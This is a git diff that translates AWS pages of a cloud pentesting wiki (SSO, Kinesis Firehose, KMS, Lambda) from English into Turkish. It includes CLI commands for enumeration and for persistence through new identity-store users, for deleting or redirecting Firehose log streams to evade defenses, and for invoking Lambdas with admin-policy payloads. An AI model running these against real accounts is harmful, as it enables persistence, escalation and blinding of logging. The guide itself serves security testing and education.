**more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Ayrıca, **daha fazla kimlik bilgisi** **` ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Süreklilik +#### Bir kullanıcı oluşturun ve ona izinler atayın ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Bir grup oluşturun ve ona izinler atayın ve kontrol edilen bir kullanıcıyı atayın +- Kontrol edilen bir kullanıcıya veya gruba ek izinler verin +- Varsayılan olarak, yalnızca Yönetim Hesabındaki izinlere sahip kullanıcılar IAM Kimlik Merkezi'ne erişebilecek ve kontrol edebilecektir. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Ancak, Farklı bir hesaptan kullanıcıların bunu yönetmesine izin vermek için Delegeli Yönetici aracılığıyla mümkündür. Tam olarak aynı izne sahip olmayacaklar, ancak [**yönetim faaliyetlerini**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) gerçekleştirebileceklerdir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..b2b8929b4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose, **gerçek zamanlı akış verilerinin** teslimatını kolaylaştıran **tamamen yönetilen bir hizmettir**. Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk ve özel HTTP uç noktaları dahil olmak üzere çeşitli varış noktalarını destekler. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +Hizmet, veri üreticilerinin verileri doğrudan Kinesis Data Firehose'a iletmek üzere yapılandırılmasına olanak tanıyarak uygulama yazma veya kaynak yönetme ihtiyacını ortadan kaldırır. Bu hizmet, **verilerin belirtilen varış noktasına otomatik teslimatından** sorumludur. Ayrıca, Kinesis Data Firehose, **verilerin teslimatından önce dönüştürülmesi** seçeneği sunarak esnekliğini ve çeşitli kullanım durumlarına uygulanabilirliğini artırır. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` - ## Post-exploitation / Defense Bypass -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +Eğer firehose, logları veya savunma içgörülerini göndermek için kullanılıyorsa, bu işlevsellikleri kullanarak bir saldırganın düzgün çalışmasını engelleyebilir. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Referanslar - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..77002801e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -2,128 +2,125 @@ {{#include ../../../banners/hacktricks-training.md}} -## KMS - Key Management Service +## KMS - Anahtar Yönetim Servisi -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Anahtar Yönetim Servisi (AWS KMS), kullanıcıların **müşteri anahtarlarını oluşturmasını ve yönetmesini** basitleştiren yönetilen bir hizmet olarak sunulmaktadır. Bu müşteri anahtarları, kullanıcı verilerinin şifrelenmesinde kritik bir rol oynamaktadır. AWS KMS'in dikkat çekici bir özelliği, müşteri anahtarlarının çoğunlukla **donanım güvenlik modülleri** (HSM'ler) tarafından **güvence altına alınmasıdır**, bu da şifreleme anahtarlarının korunmasını artırır. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS, **simetrik kriptografi** kullanır. Bu, **verileri dinlenme halinde şifrelemek için** kullanılır (örneğin, bir S3 içinde). Eğer **verileri iletim sırasında şifrelemeniz** gerekiyorsa, **TLS** gibi bir şey kullanmalısınız. -KMS is a **region specific service**. +KMS, **bölgeye özgü bir hizmettir**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Amazon'daki yöneticiler anahtarlarınıza erişemez**. Anahtarlarınızı kurtaramazlar ve anahtarlarınızın şifrelenmesine yardımcı olamazlar. AWS, yalnızca işletim sistemini ve altında yatan uygulamayı yönetir; anahtarlarımızı yönetmek ve bu anahtarların nasıl kullanılacağını yönetmek bizim sorumluluğumuzdur. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Müşteri Anahtarları** (CMK): Boyutu 4KB'a kadar olan verileri şifreleyebilir. Genellikle DEK'leri (Veri Şifreleme Anahtarları) oluşturmak, şifrelemek ve şifre çözmek için kullanılır. Daha sonra DEK'ler verileri şifrelemek için kullanılır. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Bir müşteri anahtarının (CMK) AWS KMS'deki anahtarın mantıksal bir temsilidir. Anahtarın tanımlayıcıları ve diğer meta verilerin yanı sıra, oluşturulma tarihi, açıklama ve anahtar durumu gibi bilgileri içerir; **CMK, verileri şifrelemek ve şifre çözmek için kullanılan anahtar materyalini içerir**. Bir CMK oluşturduğunuzda, varsayılan olarak AWS KMS, o CMK için anahtar materyalini oluşturur. Ancak, anahtar materyali olmadan bir CMK oluşturmayı seçebilir ve ardından kendi anahtar materyalinizi o CMK'ye içe aktarabilirsiniz. -There are 2 types of master keys: +İki tür anahtar vardır: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **AWS yönetilen CMK'ler: Diğer hizmetler tarafından verileri şifrelemek için kullanılır**. Oluşturulduğu bölgedeki hizmet tarafından kullanılır. Bu hizmette şifrelemeyi ilk kez uyguladığınızda oluşturulurlar. Her 3 yılda bir döner ve değiştirilmesi mümkün değildir. +- **Müşteri yönetici CMK'ler**: Esneklik, döngü, yapılandırılabilir erişim ve anahtar politikası. Anahtarları etkinleştirme ve devre dışı bırakma. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Zarf Şifrelemesi**, Anahtar Yönetim Servisi (KMS) bağlamında: **verileri veri anahtarı ile şifrelemek ve ardından veri anahtarını anahtar ile şifrelemek için iki katmanlı hiyerarşi sistemi**. -### Key Policies +### Anahtar Politikaları -These defines **who can use and access a key in KMS**. +Bunlar, **KMS'de bir anahtarı kimin kullanabileceğini ve erişebileceğini tanımlar**. -By **default:** +**Varsayılan olarak:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- **KMS anahtarını yöneten AWS hesabının IAM'ine erişim** verir. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +Diğer AWS kaynak politikalarından farklı olarak, bir AWS **KMS anahtar politikası, hesabın herhangi bir ilkesine otomatik olarak izin vermez**. Hesap yöneticilerine izin vermek için, **anahtar politikasının bu izni sağlayan açık bir ifade içermesi gerekir**, bu şekilde. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Hesaba izin vermeden (`"AWS": "arn:aws:iam::111122223333:root"`) IAM izinleri çalışmaz. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- **Anahtar politikasına ek olarak, KMS anahtarına erişim sağlamak için IAM politikalarını kullanmasına izin verir**. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Bu izin olmadan, anahtara erişim sağlayan IAM politikaları etkisizdir**, ancak anahtara erişimi reddeden IAM politikaları hala etkilidir. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- **Anahtarın yönetilemez hale gelme riskini azaltır**, hesap yöneticilerine, silinemez olan hesap kök kullanıcısı da dahil olmak üzere, erişim kontrol izni vererek. +**Varsayılan politika** örneği: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Eğer **hesaba izin verilmişse** (`"arn:aws:iam::111122223333:root"`), hesaptan bir **prensip** **KMS anahtarını kullanmak için IAM izinlerine ihtiyaç duyacaktır**. Ancak, eğer bir rolün **ARN**'si örneğin **Anahtar Politikasında özel olarak izin verilmişse**, o rol **IAM izinlerine ihtiyaç duymaz**.
-Policy Details +Politika Detayları -Properties of a policy: +Bir politikanın özellikleri: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- JSON tabanlı belge +- Kaynak --> Etkilenen kaynaklar ("\*" olabilir) +- Eylem --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (izinler) +- Etki --> İzin Ver/Dışla +- Prensip --> etkilenen arn +- Koşullar (isteğe bağlı) --> izinleri vermek için koşul -Grants: +İzinler: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- AWS hesabınız içindeki başka bir AWS prensibine izinlerinizi devretmenizi sağlar. Bunları AWS KMS API'lerini kullanarak oluşturmanız gerekir. CMK tanımlayıcısı, grantee prensibi ve gerekli işlem seviyesi (Decrypt, Encrypt, GenerateDataKey...) belirtilebilir. +- İzin oluşturulduktan sonra bir GrantToken ve GrantID verilir. -**Access**: +**Erişim**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- **anahtar politikası** aracılığıyla -- Eğer bu mevcutsa, bu **IAM politikasından önceliklidir** +- **IAM politikası** aracılığıyla +- **izinler** aracılığıyla
-### Key Administrators +### Anahtar Yöneticileri -Key administrator by default: +Varsayılan olarak anahtar yöneticisi: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- KMS'yi yönetme erişimine sahiptir ancak verileri şifreleme veya şifre çözme yetkisi yoktur. +- Sadece IAM kullanıcıları ve rolleri Anahtar Yöneticileri listesine eklenebilir (gruplar değil). +- Harici bir CMK kullanılıyorsa, Anahtar Yöneticileri anahtar malzemesini içe aktarma iznine sahiptir. -### Rotation of CMKs +### CMK'ların Döngüsü -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Aynı anahtar yerinde ne kadar uzun süre kalırsa, o anahtar ile o kadar çok veri şifrelenir ve eğer o anahtar ihlal edilirse, o zaman veri için patlama alanı o kadar genişler. Ayrıca, anahtar aktif kaldıkça, ihlal edilme olasılığı artar. +- **KMS, müşteri anahtarlarını her 365 günde bir döndürür** (veya istediğiniz zaman süreci manuel olarak gerçekleştirebilirsiniz) ve **AWS tarafından yönetilen anahtarlar her 3 yılda bir döndürülür** ve bu süre değiştirilemez. +- **Eski anahtarlar, döngüden önce şifrelenmiş verileri çözmek için saklanır.** +- Bir ihlal durumunda, anahtarın döndürülmesi tehdidi ortadan kaldırmaz çünkü ihlal edilen anahtar ile şifrelenmiş tüm veriler çözülebilir. Ancak, **yeni veriler yeni anahtar ile şifrelenecektir.** +- Eğer **CMK** **devre dışı** veya **silinme bekliyor** durumundaysa, KMS **anahtar döndürme işlemi yapmayacaktır** ta ki CMK yeniden etkinleştirilene veya silme iptal edilene kadar. -#### Manual rotation +#### Manuel döndürme -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- **Yeni bir CMK oluşturulması gerekir**, ardından yeni bir CMK-ID oluşturulur, bu nedenle **uygulamanızı** yeni CMK-ID'yi **referans almak için güncellemeniz gerekecektir.** +- Bu süreci daha kolay hale getirmek için **bir anahtar kimliğine atıfta bulunmak için takma adlar kullanabilirsiniz** ve ardından sadece takma adın atıfta bulunduğu anahtarı güncelleyebilirsiniz. +- Eski dosyaları şifrelemek için **eski anahtarları saklamanız gerekir**. -You can import keys from your on-premises key infrastructure . +Kendi yerel anahtar altyapınızdan anahtarları içe aktarabilirsiniz. -### Other relevant KMS information +### Diğer ilgili KMS bilgileri -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS, tüm hizmetlerden alınan şifreleme/şifre çözme taleplerinin sayısına göre fiyatlandırılır. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS, **CloudTrail ile tam denetim ve uyum entegrasyonuna** sahiptir; burada KMS üzerinde gerçekleştirilen tüm değişiklikleri denetleyebilirsiniz. -With KMS policy you can do the following: +KMS politikası ile aşağıdakileri yapabilirsiniz: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Veri anahtarlarını kimlerin oluşturabileceğini ve bu anahtarlara hangi hizmetlerin erişim iznine sahip olduğunu sınırlamak +- Sistemlerin yalnızca şifreleme, yalnızca şifre çözme veya her ikisine erişimini sınırlamak +- Sistemlerin bölgeler arasında anahtarlara erişimini sağlamak için tanımlamak (ancak bu önerilmez çünkü KMS'yi barındıran bölgede bir arıza, diğer bölgelerdeki sistemlerin kullanılabilirliğini etkiler). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +Bölgeler arasında anahtarları senkronize edemez veya taşıyamaz/kopyalayamazsınız; yalnızca bölge arasında erişimi sağlamak için kurallar tanımlayabilirsiniz. +### Sayım ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,7 +129,6 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} @@ -156,7 +152,3 @@ aws kms describe-custom-key-stores - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..23310b318 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda, **sunucu sağlama veya yönetim gerektirmeden** kodun çalıştırılmasını sağlayan bir **hesaplama hizmeti** olarak tanımlanır. **Kodun çalıştırılması için gereken kaynak tahsisini otomatik olarak yönetme** yeteneği ile karakterizedir ve yüksek kullanılabilirlik, ölçeklenebilirlik ve güvenlik gibi özellikler sunar. Lambda'nın önemli bir yönü, **ücretlerin yalnızca kullanılan hesaplama süresine dayalı olmasıdır**, bu da başlangıç yatırımları veya uzun vadeli taahhütler gerektirmediği anlamına gelir. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Bir lambda çağırmak için, **istediğiniz kadar sık** (Cloudwatch ile) çağırmak, bir **URL** uç noktası açmak ve onu çağırmak, **API Gateway** aracılığıyla çağırmak veya **S3** kovasındaki verilere yapılan **değişiklikler** veya bir **DynamoDB** tablosundaki güncellemeler gibi **olaylara** dayalı olarak çağırmak mümkündür. -The **code** of a lambda is stored in **`/var/task`**. +Bir lambdanın **kodu** **`/var/task`** dizininde saklanır. -### Lambda Aliases Weights +### Lambda Alias Ağırlıkları -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Bir Lambda'nın **birden fazla versiyonu** olabilir.\ +Ve **alias'lar** aracılığıyla **1'den fazla** versiyon açığa çıkarılabilir. **Alias** içinde açığa çıkarılan **her** versiyonun **ağırlıkları**, **hangi alias'ın çağrıyı alacağını** belirleyecektir (örneğin 90%-10% olabilir).\ +Eğer **bir** alias'ın kodu **açık** ise, **açık** versiyonun istismarı alana kadar **istekler gönderebilirsiniz**. ![](<../../../images/image (223).png>) -### Resource Policies +### Kaynak Politikaları -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Lambda kaynak politikaları, örneğin **diğer hizmetlerin/hesapların lambdayı çağırmasına erişim vermek** için kullanılır.\ +Örneğin, **URL aracılığıyla açığa çıkarılan bir lambdaya herkesin erişmesine izin veren** politika:
-Or this to allow an API Gateway to invoke it: +Veya bir API Gateway'in bunu çağırmasına izin veren bu:
-### Lambda Database Proxies +### Lambda Veritabanı Proxy'leri -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +**Yüzlerce** **eşzamanlı lambda isteği** olduğunda, her birinin bir veritabanına **bağlanması ve bağlantıyı kapatması** gerekiyorsa, bu çalışmayacaktır (lambdalar durumsuzdur, açık bağlantıları sürdüremezler).\ +O zaman, eğer **Lambda fonksiyonlarınız RDS Proxy ile etkileşime giriyorsa**, veritabanı örneğiniz yerine. Bu, eşzamanlı Lambda fonksiyonları tarafından oluşturulan birçok eşzamanlı bağlantının ölçeklenmesi için gerekli bağlantı havuzlamasını yönetir. Bu, Lambda uygulamalarınızın **mevcut bağlantıları yeniden kullanmasına** olanak tanır, her fonksiyon çağrısı için yeni bağlantılar oluşturmak yerine. -### Lambda EFS Filesystems +### Lambda EFS Dosya Sistemleri -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Verileri korumak ve hatta paylaşmak için **Lambdalar EFS'ye erişebilir ve bunları bağlayabilir**, böylece Lambda ondan okuma ve yazma yapabilir. -### Lambda Layers +### Lambda Katmanları -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Bir Lambda _katmanı_, **ek kod** veya diğer içerikleri içerebilen bir .zip dosyası arşividir. Bir katman, kütüphaneler, [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Her fonksiyon için en fazla **beş katman** dahil etmek mümkündür. Bir fonksiyona bir katman dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketirse, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz. -### Lambda Extensions +### Lambda Uzantıları -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegre olarak fonksiyonları geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) eklenir ve iki modda çalışır: **içsel** ve **dışsal**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **İçsel uzantılar**, çalışma zamanı süreci ile birleşir, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanları için geçerlidir. +- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda fonksiyonunun yaşam döngüsü ile operasyon uyumunu sürdürür. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur. ### Enumeration - ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### Bir lambda çağır -### Invoke a lambda - -#### Manual - +#### Manuel ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### Açık URL üzerinden ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` +#### URL üzerinden Lambda fonksiyonunu çağır -#### Call Lambda function via URL - -Now it's time to find out possible lambda functions to execute: - +Artık çalıştırılabilecek olası lambda fonksiyonlarını bulma zamanı: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +"Level6" adında bir lambda fonksiyonu mevcut. Onu nasıl çağıracağımızı bulalım: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Artık ismi ve kimliği bildiğinize göre, ismi alabilirsiniz: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +Ve sonunda işlevi çağırın (ID, İsim ve işlev adı URL'de göründüğünü unutmayın): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Diğer Tetikleyiciler -There are a lot of other sources that can trigger a lambda +Bir lambda'yı tetikleyebilecek birçok başka kaynak vardır.
